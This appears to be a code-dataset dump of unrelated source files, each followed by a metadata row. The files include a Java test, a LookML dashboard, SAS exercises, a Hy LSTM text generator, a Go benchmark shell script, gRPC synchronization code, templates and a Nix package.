public void givenArray_whenGenerator_correctOrderAndValue() {
int[] numbers = new int[] { 1, -2, 4, -10 };
NumberInfoGenerator numberGenerator = new NumberInfoGenerator(numbers);
assertEquals(new NumberInfo(numbers[0]), numberGenerator.read());
assertEquals(new NumberInfo(numbers[1]), numberGenerator.read());
assertEquals(new NumberInfo(numbers[2]), numberGenerator.read());
assertEquals(new NumberInfo(numbers[3]), numberGenerator.read());
assertNull(numberGenerator.read());
}
} | Java | 4 | DBatOWL/tutorials | spring-batch/src/test/java/org/baeldung/conditionalflow/step/NumberInfoGeneratorUnitTest.java | [
"MIT"
] |
- dashboard: event_flow_analysis
title: Event Flow Analysis
layout: grid
rows:
- elements: [events_drop_off]
height: 400
- elements: [event_flow]
height: 400
- elements: [top_5_second_events, top_5_third_events, top_5_fourth_events, top_5_fifth_events]
height: 400
- elements: [second_events, third_events, fourth_events, fifth_events]
height: 400
filters:
- name: first_event
type: field_filter
explore: all_events
field: all_events.event_name
default_value: homepage_click_get_started # modify to desired default first event name value
- name: date
type: date_filter
default_value: 30 days
elements:
- name: events_drop_off
title: Events Drop Off
type: looker_column
model: heap_block
explore: all_events
measures: [all_events.count, event_flow.event_2_drop_off, event_flow.event_3_drop_off,
event_flow.event_4_drop_off, event_flow.event_5_drop_off]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
show_dropoff: true
- name: event_flow
title: Event Flow
type: table
model: heap_block
explore: all_events
dimensions: [all_events.event_name, event_flow.event_2, event_flow.event_3, event_flow.event_5,
event_flow.event_4]
measures: [all_events.count, all_events.count_percent_of_total]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
show_view_names: true
show_row_numbers: true
table_theme: gray
- name: top_5_second_events
title: Top 5 Second Events
type: looker_bar
model: heap_block
explore: all_events
dimensions: [event_flow.event_2]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 5
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
- name: top_5_third_events
title: Top 5 Third Events
type: looker_bar
model: heap_block
explore: all_events
dimensions: [event_flow.event_3]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 5
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
- name: top_5_fourth_events
title: Top 5 Fourth Events
type: looker_bar
model: heap_block
explore: all_events
dimensions: [event_flow.event_4]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 5
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
- name: top_5_fifth_events
title: Top 5 Fifth Events
type: looker_bar
model: heap_block
explore: all_events
dimensions: [event_flow.event_5]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 5
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
- name: second_events
title: Second Events
type: table
model: heap_block
explore: all_events
dimensions: [event_flow.event_2]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
table_theme: gray
- name: third_events
title: Third Events
type: table
model: heap_block
explore: all_events
dimensions: [event_flow.event_3]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
table_theme: gray
- name: fourth_events
title: Fourth Events
type: table
model: heap_block
explore: all_events
dimensions: [event_flow.event_4]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
table_theme: gray
- name: fifth_events
title: Fifth Events
type: table
model: heap_block
explore: all_events
dimensions: [event_flow.event_5]
measures: [all_events.count]
listen:
first_event: all_events.event_name
date: all_events.time_date
sorts: [all_events.count desc]
limit: 500
colors: ['#62bad4', '#a9c574', '#929292', '#9fdee0', '#1f3e5a', '#90c8ae', '#92818d',
'#c5c6a6', '#82c2ca', '#cee0a0', '#928fb4', '#9fc190']
label_density: 25
legend_position: center
y_axis_gridlines: true
show_view_names: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
table_theme: gray
| LookML | 3 | llooker/heap_block_bigquery | event_flow_analysis.dashboard.lookml | [
"MIT"
] |
// ace can highlight scad!
module Element(xpos, ypos, zpos){
translate([xpos,ypos,zpos]){
union(){
cube([10,10,4],true);
cylinder(10,15,5);
translate([0,0,10])sphere(5);
}
}
}
union(){
for(i=[0:30]){
# Element(0,0,0);
Element(15*i,0,0);
}
}
for (i = [3, 5, 7, 11]){
rotate([i*10,0,0])scale([1,1,i])cube(10);
} | OpenSCAD | 3 | websharks/ace-builds | demo/kitchen-sink/docs/scad.scad | [
"BSD-3-Clause"
] |
/*--------------------------------------------------*/
/* SAS Programming for R Users - code for exercises */
/* Copyright 2016 SAS Institute Inc. */
/*--------------------------------------------------*/
/*SP4R06d09*/
/*Part A*/
proc sgplot data=sp4r.grass;
vline variety / group=method stat=mean response=yield;
run;
/*Part B*/
proc mixed data=sp4r.grass method=REML;
class method variety;
model yield = method / solution ddfm=kr2;
random variety method*variety;
lsmeans method / pdiff;
estimate 'A vs. B and C' method 1 -.5 -.5;
run;
/*Part C*/
ods select type3;
proc mixed data=sp4r.grass method=type3;
class method variety;
model yield = method / solution ddfm=kr2;
random variety method*variety;
lsmeans method / pdiff;
estimate 'A vs. B and C' method 1 -.5 -.5;
run;
| SAS | 4 | snowdj/sas-prog-for-r-users | code/SP4R06d09.sas | [
"CC-BY-4.0"
] |
#!/usr/bin/env hy
;;;-------------------------------------
;;; imports
;;;-------------------------------------
(import argparse
os)
;;;-------------------------------------
;;; classes
;;;-------------------------------------
(defclass Alphabet [object]
"Represents an alphabet of characters."
(defn --init-- [self chars chars-are-words?]
"Creates a new alphabet instance from the specified set of characters."
(setv self.chars (.join (if chars-are-words? "\n" "") chars)
self.chars-are-words? chars-are-words?
self.num-chars (len chars)
self.char-to-index (dict (lfor i (enumerate chars) (, (last i) (first i))))
self.index-to-char (dict (lfor i (enumerate chars) i))))
(defn char [self i]
"Gets the character in the alphabet associated with the specified index."
(get self.index-to-char i))
(defn char-index [self c]
"Gets the index in the alphabet associated with the specified character."
(get self.char-to-index c)))
;;;-------------------------------------
;;; functions
;;;-------------------------------------
(defn build-dataset [text chars-are-words? lookback stride]
"Builds a dataset from the specified text with the specified settings by
compiling it to a one-hot encoded tensor."
(setv chars (sorted (if chars-are-words? (set (.split text)) (list (set text))))
alphabet (Alphabet chars chars-are-words?)
n (// (- (len text) lookback 1) stride)
x (np.zeros (, n lookback (. alphabet num-chars)) :dtype np.bool)
y (np.zeros (, n (. alphabet num-chars)) :dtype np.bool))
(for [i (range n)]
(setv a (* i stride)
s (cut text a (+ a lookback))
yc (. text [(+ a lookback)])
p (/ i n))
(for [(, j xc) (enumerate s)]
(setv (. x [i] [j] [(.char-index alphabet xc)]) 1))
(setv (. y [i] [(.char-index alphabet yc)]) 1)
(if (= (% i 10000) 0)
(print (.format "\r{:.2f}%" (* p 100.0)) :end "")))
(print "\r100.0%")
(, alphabet x y))
(defn build-x [alphabet text]
(setv x (np.zeros (, 1 (len text) (. alphabet num-chars)) :dtype np.bool))
(for [(, i c) (enumerate text)]
(setv (. x [0] [i] [(.char-index alphabet c)]) 1))
x)
(defn download-file [url]
"Downloads a file from the specified URL and returns its local path."
(setv (, _, fn) (.split os.path url))
(keras.utils.data-utils.get-file fn :origin url))
(defn load-model [path]
"Loads the specified model."
(setv alphabet-path (+ path ".txt")
model-path (+ path ".h5"))
(with [f (open alphabet-path "r")]
(setv chars (.read f)))
(, (Alphabet chars False) (keras.models.load_model model-path)))
(defn load-source [s]
"Loads the specified source, either a filename or an HTTP URL."
(if (or (.startswith s "http://")
(.startswith s "https://"))
(read-file (download-file s))
(read-file s)))
(defn load-all-sources [sources]
"Loads all specified sources and returns them in a list."
(lfor s sources (load-source s)))
(defn read-file [fn]
"Reads and returns the contents of the specified file."
(with [f (open fn "r")]
(.read f)))
(defn save-model [alphabet model path]
"Saves a model and alphabet to the specified path."
(setv model-path (+ path ".h5"))
(if (os.path.isfile model-path)
(do
(setv bak-path (+ model-path ".bak"))
(if (os.path.isfile bak-path)
(os.remove bak-path))
(os.rename model-path bak-path)))
(.save model model-path)
(setv alphabet-path (+ path ".txt"))
(with [f (open alphabet-path "w")]
;;(.write f (. alphabet chars-are-words?))
(.write f (. alphabet chars))))
(defn create-layer [spec first? last? alphabet model lookback]
(if (= (.find spec ":") -1)
(setv t "lstm"
n (int spec))
(setv (, t n) (.split spec ":")))
(cond [(= t "dropout") (keras.layers.core.Dropout (float n))]
[(= t "lstm") (if (and first? (not last))
(keras.layers.recurrent.LSTM (int n)
:input-shape (, lookback (. alphabet num-chars))
:return-sequences True)
(keras.layers.recurrent.LSTM (int n)
:input-shape (, lookback (. alphabet num-chars))
:return-sequences (not last?)))]))
(defn create-model [alphabet layers learning-rate lookback]
"Creates an LSTM-based RNN Keras model for text processing."
(setv model (keras.models.Sequential))
(for [(, i layer) (enumerate layers)]
(setv first? (= i 0))
(setv last? (= i (- (len layers) 1)))
(setv layer (create-layer layer first? last? alphabet model lookback))
(.add model layer))
(.add model (keras.layers.core.Dense (. alphabet num-chars)
:activation "softmax"))
(.compile model :loss "categorical_crossentropy"
:metrics ["categorical_accuracy"]
:optimizer (keras.optimizers.RMSprop :lr learning-rate))
model)
(defn import-modules []
"Imports modules needed by the program."
(global keras np)
(import keras
keras.utils.data-utils
[numpy :as np]))
(defn parse-args []
"Parses command line arguments."
(setv parser (argparse.ArgumentParser))
(.add-argument parser "--batch-size" :default 128 :metavar "<n>" :type int
:help "specify the batch size")
(.add-argument parser "--cpu" :action "store_true"
:help "only use cpu")
(.add-argument parser "--generate" :metavar "<seed text>" :type str
:help "generate text by specifying a seed")
(.add-argument parser "--layers" :default "128" :metavar "<layers>" :type str
:help "specify the layers (for example: lstm:128,dropout:0.2)")
(.add-argument parser "--learning-rate" :default "0.01" :metavar "<rate>"
:type float
:help "specify the learning rate")
(.add-argument parser "--lookback" :default 32 :metavar "<length>" :type int
:help "specify the lookback (number of previous characters to look at)")
(.add-argument parser "--lower" :action "store_true"
:help "make source text lower case")
(.add-argument parser "--model" :default "model" :metavar "<path>" :type str
:help "specify the model filename")
(.add-argument parser "--sources" :metavar "<path>" :nargs "*" :type str
:help "specify the data sources to use")
(.add-argument parser "--stride" :default 3 :metavar "<n>" :type int
:help "specify the sliding window stride (in number of characters)")
(.add-argument parser "--word-by-word" :action "store_true"
:help "train word-by-word instead of character-by-character")
(.parse-args parser))
(defn sample [y]
"Samples a character index from the specified predictions."
(setv y (.astype (np.asarray y) np.float64)
y (np.log y)
y-exp (np.exp y)
y (/ y-exp (np.sum y-exp))
p (np.random.multinomial 1 y 1))
(np.argmax p))
(defn generate [alphabet model lookback seed]
"Generates text using the specified settings."
(print "\npress ctrl-c to exit\n\ngenerating...\n\n")
(setv text seed)
(while (< (len text) lookback)
(setv text (+ " " text)))
(setv text (cut text (- lookback)))
(while True
(setv x (build-x alphabet text)
y (.predict model x)
i (sample (. y [0]))
c (.char alphabet i))
(setv text (+ (cut text 1) c))
(.write sys.stdout c)
(.flush sys.stdout)))
(defn train [batch-size alphabet model x y model-name]
(print "\npress ctrl-c to exit\n\ntraining...\n\n")
(setv it 1)
(while True
(print "iteration" it)
(setv it (inc it))
(.fit model x y :batch-size batch-size :nb-epoch 1)
(save-model alphabet model model-name)))
;;;-------------------------------------
;;; entry point
;;;-------------------------------------
(defmain [&rest args]
"Program entry point."
(print)
(setv args (parse-args))
(if args.word-by-word
(do
(print "word-by-word not yet implemented!")
(import sys)
(sys.exit 0)))
(setv batch-size (. args batch-size)
layers (.split (. args layers) ",")
learning-rate (. args learning-rate)
lookback (. args lookback)
stride (. args stride)
word-by-word? (. args word-by-word))
(if (. args cpu)
(assoc os.environ "CUDA_VISIBLE_DEVICES" ""))
(print "initializing...")
(import-modules)
(setv model-name (. args model))
(if (.endswith model-name ".h5")
(setv model-name (cut model-name 0 -3)))
(if (os.path.isfile (+ model-name ".h5"))
(do
(print "loading model...")
(setv (, alphabet model) (load-model model-name)
lookback (. model layers [0] input-shape [1]))
(if-not (. args generate)
(do
(print "loading sources...")
(setv text (.join "" (load-all-sources (. args sources))))
(if (. args lower)
(setv text (.lower text)))
(print "building dataset...")
(setv (, alphabet x y) (build-dataset text word-by-word? lookback stride)))))
(do
(print "loading sources...")
(setv text (.join "" (load-all-sources (. args sources))))
(if (. args lower)
(setv text (.lower text)))
(print "building dataset...")
(setv (, alphabet x y) (build-dataset text word-by-word? lookback stride))
(print "creating model...")
(setv model (create-model alphabet layers learning-rate lookback))))
(.summary model)
(try
(if (. args generate)
(generate alphabet model lookback (. args generate))
(train batch-size alphabet model x y model-name))
(except [e KeyboardInterrupt] (print "\n\n"))))
| Hy | 5 | ajnavarro/language-dataset | data/github.com/philiparvidsson/LSTM-Text-Generation/87aab381b5fecc597c3799facc57841eeb33b3e0/lstm.hy | [
"MIT"
] |
<input class='input' placeholder='Enter some values here' value='{{raw}}' />
<p>Raw: "{{raw}}"</p>
<p>Binary: "{{binary}}"</p>
<p>
{{#isLink}}
<a href='{{raw}}' target='_blank'>Also works as a link</a>
{{/isLink}}
{{^isLink}}
<span>Not a link!</span>
{{/isLink}}
</p>
| mupad | 3 | royriojas/buildfirst | ch07/03_backbone-models/app/views/templates/sample.mu | [
"MIT"
] |
module HsHeader where
#include <header.h>
main :: IO ()
main = putStr FOO
| Haskell | 2 | Unknoob/buck | test/com/facebook/buck/features/haskell/testdata/library_test/HsHeader.hs | [
"Apache-2.0"
] |
#!/usr/bin/env bash
# allow user to override go executable by running as GOEXE=xxx make ...
GOEXE="${GOEXE-go}"
# Convenience script to
# - For a given branch
# - Run benchmark tests for a given package
# - Do the same for master
# - then compare the two runs with benchcmp
benchFilter=".*"
if (( $# < 2 ));
then
echo "USAGE: ./bench.sh <git-branch> <package-to-bench> (and <benchmark filter> (regexp, optional))"
exit 1
fi
if [ $# -eq 3 ]; then
benchFilter=$3
fi
BRANCH=$1
PACKAGE=$2
git checkout $BRANCH
"${GOEXE}" test -test.run=NONE -bench="$benchFilter" -test.benchmem=true ./$PACKAGE > /tmp/bench-$PACKAGE-$BRANCH.txt
git checkout master
"${GOEXE}" test -test.run=NONE -bench="$benchFilter" -test.benchmem=true ./$PACKAGE > /tmp/bench-$PACKAGE-master.txt
benchcmp /tmp/bench-$PACKAGE-master.txt /tmp/bench-$PACKAGE-$BRANCH.txt
| Shell | 4 | jlevon/hugo | bench.sh | [
"Apache-2.0"
] |
<mt:Ignore>
# =======================
#
# フッタ
#
# =======================
</mt:Ignore>
<footer id="footer">
<div class="footer-copyright">
<div class="container">
<small class="footer-copyright-text">©<mt:Date language="en" format="%Y" /> <mt:BlogParentWebsite><mt:WebsiteHost /></mt:BlogParentWebsite>. All rights reserved.</small>
<!-- /.container --></div>
<!-- /.footer-copyright --></div>
</footer>
<script src="<mt:Var name="ec_static_path" />js/jquery.min.js"></script>
<script src="<mt:Var name="ec_static_path" />js/bootstrap.min.js"></script>
<script src="<mt:Var name="ec_static_path" />js/all.min.js"></script>
| MTML | 2 | webbingstudio/mt_theme_echo_bootstrap | dist/themes/echo_bootstrap/templates/footer.mtml | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8" ?>
<!--
- Copyright (c) 2014 3 Round Stones Inc., Some Rights Reserved
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
-->
<p:pipeline version="1.0" type="calli:docbook-inclusion"
xmlns:p="http://www.w3.org/ns/xproc"
xmlns:c="http://www.w3.org/ns/xproc-step"
xmlns:l="http://xproc.org/library"
xmlns:d="http://docbook.org/ns/docbook"
xmlns:xl="http://www.w3.org/1999/xlink"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:cx="http://xmlcalabash.com/ns/extensions"
xmlns:calli="http://callimachusproject.org/rdf/2009/framework#"
xmlns:sparql="http://www.w3.org/2005/sparql-results#">
<p:serialization port="result" media-type="application/docbook+xml" />
<p:xinclude fixup-xml-base="true" fixup-xml-lang="true" />
<p:make-absolute-uris match="@fileref|@xl:href" />
<p:xslt>
<p:input port="stylesheet">
<p:document href="../transforms/docbook-inclusion.xsl" />
</p:input>
</p:xslt>
</p:pipeline>
| XProc | 4 | jimmccusker/callimachus | webapp/pipelines/docbook-inclusion.xpl | [
"Apache-2.0",
"BSD-3-Clause"
] |
<%inherit file="/display_base.mako"/>
<%def name="javascript_app()">
${parent.javascript_app()}
<script type="text/javascript">
config.addInitialization(function() {
console.log("page/display_markdown.mako, javascript_app", "Setup page display markdown");
window.bundleEntries.mountPageDisplay();
});
</script>
</%def>
<%def name="stylesheets()">
${parent.stylesheets()}
${h.css( "base" )}
</%def>
<%def name="render_item_header( item )">
## No header for pages.
</%def>
<%def name="render_item_links( page )">
</%def>
<%def name="render_item( page, page_data=None )">
<div id="page-display-content" page_id="${page_data}">
</div>
</%def>
| Mako | 4 | rikeshi/galaxy | templates/webapps/galaxy/page/display_markdown.mako | [
"CC-BY-3.0"
] |
(import [guestbook.transit_tools :as tt]
[guestbook.frame :as f]
[transit.transit_types [Keyword :as TransitKeyword]])
(when (get f.app-state :import-sympy)
(import [sympy [*]]))
(defn assert-equal [x y]
(assert (= x y)))
(defn test-convert-to-transit-types-1 []
(assert-equal (tt.convert-to-transit-types {:a {:b {:c 1}}})
{(TransitKeyword "a")
{(TransitKeyword "b")
{(TransitKeyword "c") 1}}}))
(defn test-convert-to-transit-types-1 []
(if (get f.app-state :import-sympy)
(do
(setv x (Symbol "x"))
(assert-equal
(tt.convert-to-transit-types
(limit (/ (sin x) x) x 0))
1)
(assert-equal
(tt.convert-to-transit-types
(integrate (/ 1 x) x))
"log(x)"))
(assert-equal 1 1)))
| Hy | 4 | kloimhardt/bb-web | cgi-bin/test/guestbook/test_transit_tools.hy | [
"MIT"
] |
// GENERATED CODE - DO NOT MODIFY BY HAND
part of 'billing_client_wrapper.dart';
// **************************************************************************
// JsonSerializableGenerator
// **************************************************************************
const _$BillingResponseEnumMap = {
BillingResponse.serviceTimeout: -3,
BillingResponse.featureNotSupported: -2,
BillingResponse.serviceDisconnected: -1,
BillingResponse.ok: 0,
BillingResponse.userCanceled: 1,
BillingResponse.serviceUnavailable: 2,
BillingResponse.billingUnavailable: 3,
BillingResponse.itemUnavailable: 4,
BillingResponse.developerError: 5,
BillingResponse.error: 6,
BillingResponse.itemAlreadyOwned: 7,
BillingResponse.itemNotOwned: 8,
};
const _$SkuTypeEnumMap = {
SkuType.inapp: 'inapp',
SkuType.subs: 'subs',
};
const _$ProrationModeEnumMap = {
ProrationMode.unknownSubscriptionUpgradeDowngradePolicy: 0,
ProrationMode.immediateWithTimeProration: 1,
ProrationMode.immediateAndChargeProratedPrice: 2,
ProrationMode.immediateWithoutProration: 3,
ProrationMode.deferred: 4,
};
const _$BillingClientFeatureEnumMap = {
BillingClientFeature.inAppItemsOnVR: 'inAppItemsOnVr',
BillingClientFeature.priceChangeConfirmation: 'priceChangeConfirmation',
BillingClientFeature.subscriptions: 'subscriptions',
BillingClientFeature.subscriptionsOnVR: 'subscriptionsOnVr',
BillingClientFeature.subscriptionsUpdate: 'subscriptionsUpdate',
};
| Dart | 4 | coral-labs/plugins | packages/in_app_purchase/in_app_purchase_android/lib/src/billing_client_wrappers/billing_client_wrapper.g.dart | [
"BSD-3-Clause"
] |
import * as badModule from "./bad-module.ts";
console.log(badModule);
| TypeScript | 1 | petamoriken/deno | cli/tests/testdata/error_004_missing_module.ts | [
"MIT"
] |
// Vertex Shader
struct VS_INPUT
{
float2 vPosition : POSITION;
float2 vUVCoords: TEXCOORD0;
};
struct PS_INPUT
{
float4 vPosition : SV_POSITION;
float2 vUVCoords : TEXCOORD0;
};
Texture2DMS<float4> g_Texture : register(t0);
PS_INPUT VSMain( VS_INPUT i )
{
PS_INPUT o;
o.vPosition = float4( i.vPosition, 0.0, 1.0 );
#ifdef VULKAN
o.vPosition.y = -o.vPosition.y;
#endif
o.vUVCoords = i.vUVCoords;
return o;
}
float4 PSMain( PS_INPUT i ) : SV_TARGET
{
// Determine texture dimensions
float nTextureWidth;
float nTextureHeight;
float nNumSamples;
g_Texture.GetDimensions( nTextureWidth, nTextureHeight, nNumSamples );
// Fetch sample 0
float4 vColor = g_Texture.Load( i.vUVCoords * float2( nTextureWidth, nTextureHeight ), 0 );
return vColor;
}
| HLSL | 4 | oravnat/openvr | samples/bin/shaders/companion.hlsl | [
"BSD-3-Clause"
] |
/*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/* Generic implementation of synchronization primitives. */
#include <grpc/support/port_platform.h>
#include <assert.h>
#include <grpc/support/atm.h>
#include <grpc/support/log.h>
#include <grpc/support/sync.h>
/* Number of mutexes to allocate for events, to avoid lock contention.
Should be a prime. */
enum { event_sync_partitions = 31 };
/* Events are partitioned by address to avoid lock contention. */
static struct sync_array_s {
gpr_mu mu;
gpr_cv cv;
} sync_array[event_sync_partitions];
/* This routine is executed once on first use, via event_once */
static gpr_once event_once = GPR_ONCE_INIT;
static void event_initialize(void) {
int i;
for (i = 0; i != event_sync_partitions; i++) {
gpr_mu_init(&sync_array[i].mu);
gpr_cv_init(&sync_array[i].cv);
}
}
/* Hash ev into an element of sync_array[]. */
static struct sync_array_s* hash(gpr_event* ev) {
return &sync_array[reinterpret_cast<uintptr_t>(ev) % event_sync_partitions];
}
void gpr_event_init(gpr_event* ev) {
gpr_once_init(&event_once, &event_initialize);
ev->state = 0;
}
void gpr_event_set(gpr_event* ev, void* value) {
struct sync_array_s* s = hash(ev);
gpr_mu_lock(&s->mu);
GPR_ASSERT(gpr_atm_acq_load(&ev->state) == 0);
gpr_atm_rel_store(&ev->state, (gpr_atm)value);
gpr_cv_broadcast(&s->cv);
gpr_mu_unlock(&s->mu);
GPR_ASSERT(value != nullptr);
}
void* gpr_event_get(gpr_event* ev) {
return reinterpret_cast<void*>(gpr_atm_acq_load(&ev->state));
}
void* gpr_event_wait(gpr_event* ev, gpr_timespec abs_deadline) {
void* result = reinterpret_cast<void*>(gpr_atm_acq_load(&ev->state));
if (result == nullptr) {
struct sync_array_s* s = hash(ev);
gpr_mu_lock(&s->mu);
do {
result = reinterpret_cast<void*>(gpr_atm_acq_load(&ev->state));
} while (result == nullptr && !gpr_cv_wait(&s->cv, &s->mu, abs_deadline));
gpr_mu_unlock(&s->mu);
}
return result;
}
void gpr_ref_init(gpr_refcount* r, int n) { gpr_atm_rel_store(&r->count, n); }
void gpr_ref(gpr_refcount* r) { gpr_atm_no_barrier_fetch_add(&r->count, 1); }
void gpr_ref_non_zero(gpr_refcount* r) {
#ifndef NDEBUG
gpr_atm prior = gpr_atm_no_barrier_fetch_add(&r->count, 1);
assert(prior > 0);
#else
gpr_ref(r);
#endif
}
void gpr_refn(gpr_refcount* r, int n) {
gpr_atm_no_barrier_fetch_add(&r->count, n);
}
int gpr_unref(gpr_refcount* r) {
gpr_atm prior = gpr_atm_full_fetch_add(&r->count, -1);
GPR_ASSERT(prior > 0);
return prior == 1;
}
int gpr_ref_is_unique(gpr_refcount* r) {
return gpr_atm_acq_load(&r->count) == 1;
}
void gpr_stats_init(gpr_stats_counter* c, intptr_t n) {
gpr_atm_rel_store(&c->value, n);
}
void gpr_stats_inc(gpr_stats_counter* c, intptr_t inc) {
gpr_atm_no_barrier_fetch_add(&c->value, inc);
}
intptr_t gpr_stats_read(const gpr_stats_counter* c) {
/* don't need acquire-load, but we have no no-barrier load yet */
return gpr_atm_acq_load(&c->value);
}
| C++ | 4 | echo80313/grpc | src/core/lib/gpr/sync.cc | [
"Apache-2.0"
] |
create table bar2 (a int auto_increment, key (`a`));
| SQL | 1 | WizardXiao/tidb | br/tests/lightning_tool_135/data/tool_135.bar2-schema.sql | [
"Apache-2.0"
] |
(deffunction compare-files (?base-file ?test-file ?output)
(open ?base-file base)
(open ?test-file test)
(bind ?i 0)
(bind ?difference FALSE)
(bind ?base-line (readline base))
(bind ?test-line (readline test))
(while (and (neq ?base-line EOF) (neq ?test-line EOF)) do
(bind ?i (+ ?i 1))
(if (neq ?base-line ?test-line) then
(bind ?difference TRUE)
(format ?output " %3d: %s%n" ?i ?base-line)
(format ?output " %3d: %s%n" ?i ?test-line))
(bind ?base-line (readline base))
(bind ?test-line (readline test)))
(if (or (neq ?base-line EOF) (neq ?test-line EOF)) then
(bind ?difference TRUE)
(printout ?output " Files do not have the same # of lines" crlf))
(if (not ?difference) then
(format ?output " No differences detected in %d lines.%n" ?i))
(close base)
(close test)) | CLIPS | 4 | smarr/CLIPS | test_suite/compline.clp | [
"Apache-2.0"
] |
{ lib
, trivialBuild
, fetchurl
}:
trivialBuild rec {
pname = "jam-mode";
version = "0.3";
src = fetchurl {
url = "https://dev.gentoo.org/~ulm/distfiles/${pname}-${version}.el.xz";
hash = "sha256-0IlYqbPa4AAwOpjdd20k8hqtvDhZmcz1WHa/LHx8kMk=";
};
unpackPhase = ''
runHook preUnpack
xz -cd $src > jam-mode.el
runHook postUnpack
'';
meta = with lib; {
description = "An Emacs major mode for editing Jam files";
license = licenses.gpl2Plus;
maintainers = with maintainers; [ qyliss ];
platforms = platforms.all;
};
}
| Nix | 3 | siddhantk232/nixpkgs | pkgs/applications/editors/emacs/elisp-packages/jam-mode/default.nix | [
"MIT"
] |
#!/usr/bin/osascript
# Required parameters:
# @raycast.author Luigi Cardito
# @raycast.authorURL https://github.com/lcardito
# @raycast.author Faris Aziz
# @raycast.authorURL https://github.com/farisaziz12
# @raycast.schemaVersion 1
# @raycast.title Toggle Video
# @raycast.mode silent
# @raycast.packageName Zoom
# @raycast.description Show/Hide your microphone in the current meeting
# Optional parameters:
# @raycast.icon images/zoom-logo.png
